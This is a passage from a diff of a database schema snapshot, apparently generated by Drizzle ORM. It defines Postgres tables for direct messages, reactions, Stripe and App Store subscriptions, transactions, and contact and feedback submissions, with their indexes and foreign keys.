"fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attachmentMeta": { + "name": "attachmentMeta", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "direct_message_attachments_message_position_idx": { + "name": "direct_message_attachments_message_position_idx", + "columns": [ + { + "expression": "messageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_message_attachments_file_id_idx": { + "name": "direct_message_attachments_file_id_idx", + "columns": [ + { + "expression": "fileId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "direct_message_attachments_messageId_direct_messages_id_fk": { + "name": "direct_message_attachments_messageId_direct_messages_id_fk", + "tableFrom": "direct_message_attachments", + "tableTo": "direct_messages", + "columnsFrom": [ + "messageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "direct_message_attachments_fileId_files_id_fk": { + "name": "direct_message_attachments_fileId_files_id_fk", + "tableFrom": "direct_message_attachments", + "tableTo": "files", + "columnsFrom": [ + "fileId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "direct_message_attachments_position_range": { + "name": "direct_message_attachments_position_range", + "value": "\"direct_message_attachments\".\"position\" >= 0 AND \"direct_message_attachments\".\"position\" < 10" + } + }, + "isRLSEnabled": false + }, + "public.direct_messages": { + "name": "direct_messages", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "conversationId": { + "name": "conversationId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "senderId": { + "name": "senderId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attachmentMeta": { + "name": "attachmentMeta", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "isRead": { + "name": "isRead", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "readAt": { + "name": "readAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "isEdited": { + "name": "isEdited", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "editedAt": { + "name": "editedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "isActive": { + "name": "isActive", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "deletedAt": { + "name": "deletedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "parentId": { + "name": "parentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "replyCount": { + "name": "replyCount", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastReplyAt": { + "name": "lastReplyAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "mirroredFromId": { + "name": "mirroredFromId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "quotedMessageId": { + "name": "quotedMessageId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "direct_messages_conversation_id_idx": { + "name": "direct_messages_conversation_id_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_sender_id_idx": { + "name": "direct_messages_sender_id_idx", + "columns": [ + { + "expression": "senderId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_created_at_idx": { + "name": "direct_messages_created_at_idx", + "columns": [ + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_file_id_idx": { + "name": "direct_messages_file_id_idx", + "columns": [ + { + "expression": "fileId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_conversation_active_created_idx": { + "name": "direct_messages_conversation_active_created_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isActive", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_inactive_deleted_at_idx": { + "name": "direct_messages_inactive_deleted_at_idx", + "columns": [ + { + "expression": "isActive", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deletedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_conversation_created_idx": { + "name": "direct_messages_conversation_created_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_conversation_is_read_idx": { + "name": "direct_messages_conversation_is_read_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isRead", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_unread_count_idx": { + "name": "direct_messages_unread_count_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "senderId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isRead", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_parent_created_idx": { + "name": "direct_messages_parent_created_idx", + "columns": [ + { + "expression": "parentId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_quoted_id_idx": { + "name": "direct_messages_quoted_id_idx", + "columns": [ + { + "expression": "quotedMessageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "direct_messages_conversationId_dm_conversations_id_fk": { + "name": "direct_messages_conversationId_dm_conversations_id_fk", + "tableFrom": "direct_messages", + "tableTo": "dm_conversations", + "columnsFrom": [ + "conversationId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "direct_messages_senderId_users_id_fk": { + "name": "direct_messages_senderId_users_id_fk", + "tableFrom": "direct_messages", + "tableTo": "users", + "columnsFrom": [ + "senderId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "direct_messages_fileId_files_id_fk": { + "name": "direct_messages_fileId_files_id_fk", + "tableFrom": "direct_messages", + "tableTo": "files", + "columnsFrom": [ + "fileId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "direct_messages_parentId_direct_messages_id_fk": { + "name": "direct_messages_parentId_direct_messages_id_fk", + "tableFrom": "direct_messages", + "tableTo": "direct_messages", + "columnsFrom": [ + "parentId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "direct_messages_mirroredFromId_direct_messages_id_fk": { + "name": "direct_messages_mirroredFromId_direct_messages_id_fk", + "tableFrom": "direct_messages", + "tableTo": "direct_messages", + "columnsFrom": [ + "mirroredFromId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "direct_messages_quotedMessageId_direct_messages_id_fk": { + "name": "direct_messages_quotedMessageId_direct_messages_id_fk", + "tableFrom": "direct_messages", + "tableTo": "direct_messages", + "columnsFrom": [ + "quotedMessageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.dm_conversations": { + "name": "dm_conversations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "participant1Id": { + "name": "participant1Id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "participant2Id": { + "name": "participant2Id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "lastMessageAt": { + "name": "lastMessageAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastMessagePreview": { + "name": "lastMessagePreview", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "participant1LastRead": { + "name": "participant1LastRead", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "participant2LastRead": { + "name": "participant2LastRead", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "dm_conversations_participant1_id_idx": { + "name": "dm_conversations_participant1_id_idx", + "columns": [ + { + "expression": "participant1Id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "dm_conversations_participant2_id_idx": { + "name": "dm_conversations_participant2_id_idx", + "columns": [ + { + "expression": "participant2Id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "dm_conversations_last_message_at_idx": { + "name": "dm_conversations_last_message_at_idx", + "columns": [ + { + "expression": "lastMessageAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "dm_conversations_participant1_last_message_idx": { + "name": "dm_conversations_participant1_last_message_idx", + "columns": [ + { + "expression": "participant1Id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lastMessageAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "dm_conversations_participant2_last_message_idx": { + "name": "dm_conversations_participant2_last_message_idx", + "columns": [ + { + "expression": "participant2Id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lastMessageAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "dm_conversations_participant1Id_users_id_fk": { + "name": "dm_conversations_participant1Id_users_id_fk", + "tableFrom": "dm_conversations", + "tableTo": "users", + "columnsFrom": [ + "participant1Id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "dm_conversations_participant2Id_users_id_fk": { + "name": "dm_conversations_participant2Id_users_id_fk", + "tableFrom": "dm_conversations", + "tableTo": "users", + "columnsFrom": [ + "participant2Id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "dm_conversations_participant_pair_key": { + "name": "dm_conversations_participant_pair_key", + "nullsNotDistinct": false, + "columns": [ + "participant1Id", + "participant2Id" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.dm_message_reactions": { + "name": "dm_message_reactions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "messageId": { + "name": "messageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "emoji": { + "name": "emoji", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "dm_unique_reaction_idx": { + "name": "dm_unique_reaction_idx", + "columns": [ + { + "expression": "messageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "emoji", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "dm_reaction_message_idx": { + "name": "dm_reaction_message_idx", + "columns": [ + { + "expression": "messageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "dm_message_reactions_messageId_direct_messages_id_fk": { + "name": "dm_message_reactions_messageId_direct_messages_id_fk", + "tableFrom": "dm_message_reactions", + "tableTo": "direct_messages", + "columnsFrom": [ + "messageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "dm_message_reactions_userId_users_id_fk": { + "name": "dm_message_reactions_userId_users_id_fk", + "tableFrom": "dm_message_reactions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.dm_thread_followers": { + "name": "dm_thread_followers", + "schema": "", + "columns": { + "rootMessageId": { + "name": "rootMessageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "dm_thread_followers_user_id_idx": { + "name": "dm_thread_followers_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "dm_thread_followers_rootMessageId_direct_messages_id_fk": { + "name": "dm_thread_followers_rootMessageId_direct_messages_id_fk", + "tableFrom": "dm_thread_followers", + "tableTo": "direct_messages", + "columnsFrom": [ + "rootMessageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "dm_thread_followers_userId_users_id_fk": { + "name": "dm_thread_followers_userId_users_id_fk", + "tableFrom": "dm_thread_followers", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "dm_thread_followers_rootMessageId_userId_pk": { + "name": "dm_thread_followers_rootMessageId_userId_pk", + "columns": [ + "rootMessageId", + "userId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.stripe_events": { + "name": "stripe_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "processedAt": { + "name": "processedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "stripe_events_type_idx": { + "name": "stripe_events_type_idx", + "columns": [ + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "stripe_events_processed_at_idx": { + "name": "stripe_events_processed_at_idx", + "columns": [ + { + "expression": "processedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.subscriptions": { + "name": "subscriptions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeSubscriptionId": { + "name": "stripeSubscriptionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripePriceId": { + "name": "stripePriceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "currentPeriodStart": { + "name": "currentPeriodStart", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "currentPeriodEnd": { + "name": "currentPeriodEnd", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "cancelAtPeriodEnd": { + "name": "cancelAtPeriodEnd", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "gifted": { + "name": "gifted", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "stripeScheduleId": { + "name": "stripeScheduleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scheduledPriceId": { + "name": "scheduledPriceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scheduledChangeDate": { + "name": "scheduledChangeDate", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "stripeStorageItemId": { + "name": "stripeStorageItemId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "storageBlocks": { + "name": "storageBlocks", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "storageGraceBlocks": { + "name": "storageGraceBlocks", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "storageGraceUntil": { + "name": "storageGraceUntil", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "storageRevision": { + "name": "storageRevision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "subscriptions_user_id_idx": { + "name": "subscriptions_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "subscriptions_stripe_subscription_id_idx": { + "name": "subscriptions_stripe_subscription_id_idx", + "columns": [ + { + "expression": "stripeSubscriptionId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "subscriptions_stripe_schedule_id_idx": { + "name": "subscriptions_stripe_schedule_id_idx", + "columns": [ + { + "expression": "stripeScheduleId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "subscriptions_userId_users_id_fk": { + "name": "subscriptions_userId_users_id_fk", + "tableFrom": "subscriptions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "subscriptions_stripeSubscriptionId_unique": { + "name": "subscriptions_stripeSubscriptionId_unique", + "nullsNotDistinct": false, + "columns": [ + "stripeSubscriptionId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.app_store_accounts": { + "name": "app_store_accounts", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "accountToken": { + "name": "accountToken", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "app_store_accounts_userId_users_id_fk": { + "name": "app_store_accounts_userId_users_id_fk", + "tableFrom": "app_store_accounts", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "app_store_accounts_accountToken_unique": { + "name": "app_store_accounts_accountToken_unique", + "nullsNotDistinct": false, + "columns": [ + "accountToken" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.app_store_notifications": { + "name": "app_store_notifications", + "schema": "", + "columns": { + "notificationUUID": { + "name": "notificationUUID", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "subtype": { + "name": "subtype", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "processedAt": { + "name": "processedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "app_store_notifications_processed_at_idx": { + "name": "app_store_notifications_processed_at_idx", + "columns": [ + { + "expression": "processedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.app_store_subscriptions": { + "name": "app_store_subscriptions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "originalTransactionId": { + "name": "originalTransactionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "latestTransactionId": { + "name": "latestTransactionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "productId": { + "name": "productId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "environment": { + "name": "environment", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "currentPeriodStart": { + "name": "currentPeriodStart", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "autoRenew": { + "name": "autoRenew", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "autoRenewSignedAt": { + "name": "autoRenewSignedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastSignedAt": { + "name": "lastSignedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "app_store_subscriptions_user_idx": { + "name": "app_store_subscriptions_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "app_store_subscriptions_userId_users_id_fk": { + "name": "app_store_subscriptions_userId_users_id_fk", + "tableFrom": "app_store_subscriptions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "app_store_subscriptions_originalTransactionId_unique": { + "name": "app_store_subscriptions_originalTransactionId_unique", + "nullsNotDistinct": false, + "columns": [ + "originalTransactionId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "app_store_subscriptions_status_valid": { + "name": "app_store_subscriptions_status_valid", + "value": "\"app_store_subscriptions\".\"status\" IN ('active', 'billing_retry', 'grace_period', 'expired', 'revoked')" + }, + "app_store_subscriptions_environment_valid": { + "name": "app_store_subscriptions_environment_valid", + "value": "\"app_store_subscriptions\".\"environment\" IN ('Production', 'Sandbox')" + } + }, + "isRLSEnabled": false + }, + "public.app_store_transactions": { + "name": "app_store_transactions", + "schema": "", + "columns": { + "transactionId": { + "name": "transactionId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "originalTransactionId": { + "name": "originalTransactionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "productId": { + "name": "productId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "productKind": { + "name": "productKind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "environment": { + "name": "environment", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "purchaseDate": { + "name": "purchaseDate", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "expiresDate": { + "name": "expiresDate", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "priceMilliunits": { + "name": "priceMilliunits", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "currency": { + "name": "currency", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "storefront": { + "name": "storefront", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastSignedAt": { + "name": "lastSignedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "fundedAt": { + "name": "fundedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "app_store_transactions_user_idx": { + "name": "app_store_transactions_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "app_store_transactions_original_idx": { + "name": "app_store_transactions_original_idx", + "columns": [ + { + "expression": "originalTransactionId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "app_store_transactions_userId_users_id_fk": { + "name": "app_store_transactions_userId_users_id_fk", + "tableFrom": "app_store_transactions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "app_store_transactions_kind_valid": { + "name": "app_store_transactions_kind_valid", + "value": "\"app_store_transactions\".\"productKind\" IN ('subscription', 'consumable')" + } + }, + "isRLSEnabled": false + }, + "public.contact_submissions": { + "name": "contact_submissions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "subject": { + "name": "subject", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "resolvedAt": { + "name": "resolvedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "contact_submissions_email_idx": { + "name": "contact_submissions_email_idx", + "columns": [ + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "contact_submissions_created_at_idx": { + "name": "contact_submissions_created_at_idx", + "columns": [ + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.feedback_submissions": { + "name": "feedback_submissions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "attachments": { + "name": "attachments", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "page_url": { + "name": "page_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "screen_size": { + "name": "screen_size", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "viewport_size": { + "name": "viewport_size", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "app_version": { + "name": "app_version", + "type": "text", + 